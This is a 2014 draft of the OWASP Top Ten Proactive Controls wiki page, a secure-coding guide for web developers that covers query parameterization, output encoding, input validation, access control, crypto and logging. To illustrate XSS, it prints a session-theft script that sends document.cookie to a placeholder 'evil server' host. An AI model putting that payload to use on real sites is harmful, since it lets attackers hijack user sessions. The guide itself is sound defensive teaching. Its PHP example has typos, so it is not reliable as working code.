Difference between revisions of "OWASP Proactive Controls"

As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game.

This document was written by developers for developers, to assist those new to secure development. It aims to guide developers and other software development professionals down the path of secure web application software development.

There are more than 10 issues that developers need to be aware of. Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.

The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire Cheat Sheets series team whose content has been pulled from liberally for this document.

Introducing the OWASP Top Ten and one half Proactive Controls 2014.

1) Query Parameterization

SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.

The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.

To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.

Here is an example of query parameterization Parameterization in Java:

String newName = request.getParameter("newName");
String id = request.getParameter("id");
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?");  
pstmt.setString(1, newName); 
pstmt.setString(2, id);

Here is an example of query parameterization in PHP:

$email  = $_REQUEST[‘email’];
$ id’= $_REQUEST[‘id’];
$stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”); 
$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);

For more information, please see the Query Parameterization Cheat Sheet.

2) Encoding

A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.

Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in users browsers and can have a wide variety of effects.

For example:

XSS site defacement:

<script>document.body.innerHTML(“Jim was here”);</script>

XSS session theft:

<script>
var img = new Image();
img.src="hxxp://<some evil server>.com?” + document.cookie;
</script>

Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem. This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.

Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched. This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.

Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.

For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

3) Validation

One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.

There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like. Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.

When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.

Also, it's critical to treat all client side data as untrusted. (we need to expand on this)

Let’s start with the following regular expression for the username.

^[a-z0-9_]{3,16}$

This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example.

Here is an example regular expression for the password field.

^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$

This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).

Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).

^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$

There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the OWASP Java HTML Sanitizer. A regular expression is not the right tool to parse and sanitize untrusted HTML.

Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.

4) Access Control TODO JMANICO

Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.

Access Control Issues

• Many applications used the "All or Nothing" approach - Once authenticated, all users have equal privileges
• Authorization Logic often relies on Security by Obscurity (STO) by assuming:
• Users will not find unlinked or hidden paths or functionality
• Users will not find and tamper with "obscured" client side parameters (i.e. "hidden" form fields, cookies, etc.)
• Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges
• Many administrative interfaces require only a password for authentication
• Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators
• Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users
• Authorization/Access Control relies on client-side information (e.g., hidden fields)
• Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts
• Some web applications access the database via sa or other administrative account (or more privileges than required)
• Some applications implement authorization controls by including a file or web control or code snippet on every page in the application

   <input type="text" name="fname" value="Derek">
   <input type="text" name="lname" value="Jeter">
   <input type="hidden" name="usertype" value="admin">

Access Control Anti-Patterns

• Hard-coded role checks in application code
• Lack of centralized access control logic
• Untrusted data driving access control decisions
• Access control that is "open by default"
• Lack of addressing horizontal access control in a standardized way (if at all)
• Access control logic that needs to be manually added to every endpoint in code
• non-anonymous entry point DO NOT have an access control check
• No authorization check at or near the beginning of code implementing sensitive activities

For more information on access control, please see the Access Control Cheat Sheet.

5) Identity and Authentication

Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.

Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.

Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.

For more information, please see the Authentication Cheat Sheet, the Password Storage Cheat Sheet, the Forgot Password Cheat Sheet and the Session Management Cheat Sheet.

6) Data Protection and Privacy

Encryption in Transit

When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit.

For more information on proper SSL/TLS configuration, please see the Transport Layer Protection Cheat Sheet. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the Pinning Cheat Sheet.

Encryption at Rest TODO JMANICO

1. 1 forced to encrypt data via standards like PCI
2. 2 doing low level crypto by hand leads to bad crypto
3. 3 user well vetted libraries like KeyCzar
4. 4 key management a bear
5. 5 tiering and trust - crypto services vs embedding crypto at the app layer
6. 6 symmetric/asymmetric encryption
7. 7 weirdness of password strorage crypto (punt to the CS)
8. 8 digital signatures
9. 9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?
10. 10 For more information on low level decisions necessary when encrypting data at rest, please see the Cryptographic Storage Cheat Sheet.

Protection in Process

Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.

7) Logging, Error Handling and Intrusion Detection TODO JIMBIRD

Application logging should be consistent within the application, consistent across an organization's application portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems.

Application logging should be always be included for security events. Application logs are invaluable data for:

• Identifying security incidents
• Monitoring policy violations
• Establishing baselines
• Providing information about problems and unusual conditions
• Contributing additional application-specific data for incident investigation which is lacking in other log sources
• Helping defend against vulnerability identification and exploitation through attack detection

Application logging might also be used to record other types of events too such as:

• Security events
• Business process monitoring e.g. sales process abandonment, transactions, connections
• Audit trails e.g. data addition, modification and deletion, data exports
• Performance monitoring e.g. data load time, page timeouts
• Compliance monitoring
• Data for subsequent requests for information e.g. data subject access, freedom of information, litigation, police and other regulatory investigations
• Legally sanctioned interception of data e.g application-layer wire-tapping
• Other business-specific requirements

Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCIDSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. It is important not to log too much, or too little. Use knowledge of the intended purposes to guide what, when and how much.

For more information, please see the Logging Cheat Sheet.

The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the OWASP AppSensor Project.

TODO: Log Injection

JIM BIRD: Talks about logging of “security events” but doesn’t explain or give examples of what a security event is. Reminder to obey privacy/confidentiality requirements – do not log private/confidential information Maybe should include something brief about protection from log injection (reminder to perform validation/encoding on user input fields that are logged)

8) Leverage Security Features of Frameworks and Security Libraries

Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.

When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:

• Spring Security : [1]
• Apache Shiro : http://shiro.apache.org/
• OWASP ESAPI : https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

It is critical to keep these frameworks and libraries up to date as described in the using components with known vulnerabilities Top Ten 2013 risk.

9) Security in Requirements

There are three basic categories of security requirements that can be defined early-on in a software development project. These include:

1) Security Features and Functions: the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use-cases which include input, behavior and output, and can be tested for functional correctness by Q/A staff. Functional requirements like re-authentication during change password or a forgot password feature can be reviewed and tested by Q/A staff.

2) Business logic abuse cases: Business logic features are often multi-step multi-branch workflows that are difficult to evaluate thoroughly, for example eCommerce workflows, shipping route choices, or banking transfer validation. Business logic requirements should also include failure scenarios (what happens if a step fails or if someone tries to repeat a step?) and requirements derived from "abuse-cases". These abuse cases would describe how the application's functions could be subverted by attackers. Thinking about failures and edge cases and attack scenarios will uncover weaknesses that need to be addressed to improve the reliability and security of the system.

3) Data Classification and Privacy Requirements: developers must be aware of what personal and confidential information needs to be protected and tracked. This will drive the need for access control, encryption and auditing and logging controls in the system.

10) Security in Architecture and Design

Designing secure software is a strategic effort where business, technical and security stakeholders agree on both the functional and non-functional security properties of software well before it is built. This is not an easy endeavor.

JIM BIRD: Another important part of secure architecture and design is tiering and trust – deciding what is done in the UI, the web layer, the business layer, the data layer, and introducing trust zones/boundaries into this. What is inside/outside of a trust zone/boundary, what sources can be trusted, what cannot be. Attack Surface also comes into architecture/design. Creating an awareness of the system’s Attack Surface, trying to minimize it where possible, understanding when/how you are increasing it and understanding that this increases the risks of attack. For example, anonymous public access to the system, file uploads and interfaces to external systems are all potentially serious sources of security risk. Platform selection: language(s), O/S, web server, database or NOSQL data manager, etc. These architectural choices result in technology-specific security risks and constraints that the team needs to learn about and understand. Know your tools.

Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source.

Status

February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.

Jim Manico jim@owasp.org
Andrew Van Der Stock vanderaj@owasp.org
Stephen de Vries stephen@continuumsecurity.net
Jim Bird jimbird@shaw.ca